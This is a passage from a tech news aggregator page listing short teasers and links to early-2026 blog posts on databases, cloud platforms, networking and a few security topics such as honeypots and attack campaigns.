        </h3><p>You&#39;re building an AI app: maybe a RAG system, an agent with memory, or a chatbot with semantic caching. You need vector search, and you&#39;re choosing between Milvus (a purpose-built vector database) an</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/milvus-vs-redis-vector-database-comparison/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-build-an-ai-app-that-simulates-life-decisions" class="group relative scroll-mt-24">
        <a href="#h3-how-to-build-an-ai-app-that-simulates-life-decisions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Build an AI App That Simulates Life Decisions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-build-an-ai-app-that-simulates-life-decisions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For most of 2025, I found myself trapped in an exhausting loop. Every few days, I’d open ChatGPT, Claude, or Gemini and ask the same question in slightly different ways: “Should I buy a house or keep </p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/build-ai-powered-life-simulator-embeddings-branching-tidb/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-optimizing-a-fast-feature-store-for-costs-lessons-learned" class="group relative scroll-mt-24">
        <a href="#h3-optimizing-a-fast-feature-store-for-costs-lessons-learned" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Optimizing a Fast Feature Store for Costs: Lessons Learned
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-optimizing-a-fast-feature-store-for-costs-lessons-learned"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>How ShareChat reduced costs for its billion-feature scale feature store with ScyllaDB</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/03/04/optimizing-a-fast-feature-store-for-costs-lessons-learned/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-top-memcached-alternatives-for-real-time-applications" class="group relative scroll-mt-24">
        <a href="#h3-top-memcached-alternatives-for-real-time-applications" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Top Memcached alternatives for real-time applications
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-top-memcached-alternatives-for-real-time-applications"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Memcached may work well for simple key-value caching, but teams often need more than basic cache functionality. Running separate systems for caching, session management, and data processing adds infra</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/memcached-alternatives/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-vector-database-use-cases-how-to-pick-the-right-one" class="group relative scroll-mt-24">
        <a href="#h3-vector-database-use-cases-how-to-pick-the-right-one" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Vector database use cases & how to pick the right one
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-vector-database-use-cases-how-to-pick-the-right-one"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Vector databases find data by meaning, not by matching keywords. That single difference is reshaping how teams build AI apps, from search and recommendations to chatbots and autonomous agents. If you&#39;</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/vector-database-use-cases/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-agoda-scaled-its-feature-store-50x" class="group relative scroll-mt-24">
        <a href="#h3-how-agoda-scaled-its-feature-store-50x" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Agoda Scaled Its Feature Store 50X
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-agoda-scaled-its-feature-store-50x"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Lessons learned on data modeling, cache optimization, and hardware selection</p>
<p><strong>📅 Mar 3, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/03/03/agoda-scaled-its-feature-store-50x/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-autobase-260-released" class="group relative scroll-mt-24">
        <a href="#h3-autobase-260-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Autobase 2.6.0 released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-autobase-260-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Autobase 2.6 introduces a blue-green deployment workflow that allows you to prepare a fully upgraded cluster in advance and switch traffic with near-zero downtime. Instead of upgrading your production</p>
<p><strong>📅 Mar 3, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/autobase-260-released-3250/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pg_qos-v100-stable-release-is-out" class="group relative scroll-mt-24">
        <a href="#h3-pg_qos-v100-stable-release-is-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Pg_QoS v1.0.0 stable release is out!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pg_qos-v100-stable-release-is-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are pleased to announce the first stable release of Pg_QoS, a PostgreSQL extension that provides Quality of Service (QoS) style resource governance for sessions and queries. 🔹 Project overview Enf</p>
<p><strong>📅 Mar 3, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pg_qos-v100-stable-release-is-out-3251/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-core-capabilities-of-a-feature-management-platform" class="group relative scroll-mt-24">
        <a href="#h3-core-capabilities-of-a-feature-management-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Core capabilities of a feature management platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-core-capabilities-of-a-feature-management-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Good feature management tools provide much more than flags.</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/core-capabilities-enterprise-feature-management-platform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-calling-all-devs-build-the-future-of-multimodal-ai-in-the-gemini-live-agent-challenge" class="group relative scroll-mt-24">
        <a href="#h3-calling-all-devs-build-the-future-of-multimodal-ai-in-the-gemini-live-agent-challenge" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Calling all devs: Build the future of Multimodal AI in the Gemini Live Agent Challenge
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-calling-all-devs-build-the-future-of-multimodal-ai-in-the-gemini-live-agent-challenge"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hey builders! Stop typing, and start interacting! We are moving beyond the text box. The future of AI is all about immersive, real-time experiences. To celebrate multimodal AI, we’re challenging you t</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/training-certifications/join-the-gemini-live-agent-challenge/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-proactive-preparation-and-hardening-against-destructive-attacks-2026-edition" class="group relative scroll-mt-24">
        <a href="#h3-proactive-preparation-and-hardening-against-destructive-attacks-2026-edition" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Proactive Preparation and Hardening Against Destructive Attacks: 2026 Edition
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-proactive-preparation-and-hardening-against-destructive-attacks-2026-edition"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Written by: Matthew McWhirt, Bhavesh Dhake, Emilio Oropeza, Gautam Krishnan, Stuart Carrera, Greg Blaum, Michael Rudden Background Threat actors leverage destructive malware to destroy data, eliminate</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/threat-intelligence/preparation-hardening-destructive-attacks/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-ec2-r8g-instances-now-available-in-additional-regions" class="group relative scroll-mt-24">
        <a href="#h3-amazon-ec2-r8g-instances-now-available-in-additional-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon EC2 R8g instances now available in additional regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ec2-r8g-instances-now-available-in-additional-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Starting today, Amazon Elastic Compute Cloud (Amazon EC2) R8g instances are available in AWS Middle East (UAE), AWS Mexico (Central), and AWS Europe (Zurich) regions. These instances are powered by AW</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/amazon-ec2-r8g-instances-additional-regions/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-native-net-buildpack-support-is-now-available-on-app-platform" class="group relative scroll-mt-24">
        <a href="#h3-native-net-buildpack-support-is-now-available-on-app-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Native .NET Buildpack Support is Now Available on App Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-native-net-buildpack-support-is-now-available-on-app-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The .NET ecosystem continues to power a significant share of enterprise and cloud-native applications, from web APIs and microservices to full-stack applications built with ASP.NET Core. Developers bu</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/net-buildpack-support-app-platform"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-ultimate-nano-banana-prompting-guide" class="group relative scroll-mt-24">
        <a href="#h3-the-ultimate-nano-banana-prompting-guide" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The ultimate Nano Banana prompting guide
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-ultimate-nano-banana-prompting-guide"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Creating precise, high-quality images often involves endless trial and error. You need a model that actually understands what you’re asking for. Built on the Gemini 3 family of models, Nano Banana mod</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/ai-machine-learning/ultimate-prompting-guide-for-nano-banana/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ending-the-silent-drop-how-dynamic-path-mtu-discovery-makes-the-cloudflare-one-client-more-resilient" class="group relative scroll-mt-24">
        <a href="#h3-ending-the-silent-drop-how-dynamic-path-mtu-discovery-makes-the-cloudflare-one-client-more-resilient" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Ending the "silent drop": how Dynamic Path MTU Discovery makes the Cloudflare One Client more resilient
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ending-the-silent-drop-how-dynamic-path-mtu-discovery-makes-the-cloudflare-one-client-more-resilient"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Cloudflare One Client now features the ability to actively probe and adjust packet sizes. This update eliminates the problems caused by tunnel layering and MTU differences, providing more stabilit</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/client-dynamic-path-mtu-discovery/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-automatic-return-routing-solves-ip-overlap" class="group relative scroll-mt-24">
        <a href="#h3-how-automatic-return-routing-solves-ip-overlap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Automatic Return Routing solves IP overlap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-automatic-return-routing-solves-ip-overlap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Automatic Return Routing (ARR) solves the common enterprise challenge of overlapping private IP addresses by using stateful flow tracking instead of traditional routing tables. This userspace-driven a</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/automatic-return-routing-ip-overlap/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-a-quicker-sase-client-re-building-proxy-mode" class="group relative scroll-mt-24">
        <a href="#h3-a-quicker-sase-client-re-building-proxy-mode" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A QUICker SASE client: re-building Proxy Mode
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-quicker-sase-client-re-building-proxy-mode"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>By transitioning the Cloudflare One Client to use QUIC streams for Proxy Mode, we eliminated the overhead of user-space TCP stacks, resulting in a 2x increase in throughput and significant latency red</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/faster-sase-proxy-mode-quic/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-insiders-version-1111" class="group relative scroll-mt-24">
        <a href="#h3-insiders-version-1111" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Insiders (version 1.111)
        </a>
        <button 
